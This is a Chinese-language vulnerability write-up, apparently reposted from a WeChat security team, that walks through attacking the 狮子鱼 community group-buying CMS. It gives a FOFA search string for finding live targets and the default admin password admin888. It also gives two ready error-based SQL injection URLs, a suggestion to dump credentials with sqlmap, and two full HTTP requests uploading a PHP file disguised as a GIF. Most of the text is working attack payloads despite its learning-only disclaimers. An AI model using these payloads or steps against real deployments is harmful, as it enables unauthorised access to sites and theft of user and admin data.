“ 引言部分，总领全篇文章的中心内容。”
声明
本文章仅用于交流学习，请勿使用该方法进行违法活动，谢谢！
（如使用此方法进行违法活动与作者无关)
漏洞描述
狮子鱼社区团购系统CMS存在默认管理员账号密码漏洞，两处SQL注入，两处文件上传（文件上传已修复）
漏洞影响
狮子鱼社区团购系统利用过程
1）FOFA搜索
"/seller.php?s=/Public/login"
2）登录界面如下
默认管理员账户密码漏洞
1）网络找到相关的安装部署教程
后台地址：域名/seller.php默认账号：admin默认密码：admin888
2)登录界面如下
Sql注入
1）代码审计走一波（ApiController.class.php存在两处注入）
注入点1
http://localhost/index.php?s=apigoods/get_goods_detail&id=1* id为注入参数
2）构造语句如下，查询user()
https://xx.xx.xx.xx/index.php?s=apigoods/get_goods_detail&id=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)
3）注入点2
http://localhost/index.php?s=apigoods_detail&goods_id=1* id为注入参数
4）构造语句如下，查询version
https://127.0.0.1/index.php?s=apigoods/get_goods_detail&id=1%20and%20updatexml(1,concat(0x7e,(SELECT%20@@version),0x7e),1)
5）直接sqlmap跑用户名密码
文件上传（已修护）
1）通过弱口令或者sql注入跑用户名密码登录后台，发现存在两处文件上传
文件上传点1，此处是 CK编辑器，可上传图片，进行绕过就行。
POST /Common/ckeditor/plugins/multiimg/dialogs/image_upload.php HTTP/1.1Host: 127.0.0.1Content-Length: 213Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundary8UaANmWAgM4BqBSsContent-Disposition: form-data; name="files"; filename="test.php"Content-Type: image/gif<?php echo('test');?>------WebKitFormBoundary8UaANmWAgM4BqBSs—
2）上传点2
POST /wxapp.php?controller=Goods.doPageUpload HTTP/1.1Host: 127.0.0.1Content-Length: 214Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSsUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close------WebKitFormBoundary8UaANmWAgM4BqBSsContent-Disposition: form-data; name="upfile"; filename="test.php"Content-Type: image/gif<?php echo('test');?>------WebKitFormBoundary8UaANmWAgM4BqBSs--
3）两处上传点已经修护，如果感兴趣的兄弟可以去尝试看是否能再次绕过。（附上新的过滤机制）
"最近学习任务繁重，有许多的漏洞来不及发，需要的直接联系"
- - - - - - - - - - - - - - - END - - - - - - - - - - ----------
点关注，不迷路
觉得不错的帮忙点个“赞”，“在看” ~~~
原文始发于微信公众号（五六七安全团队）：狮子鱼社区团购系统CMS漏洞合集
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论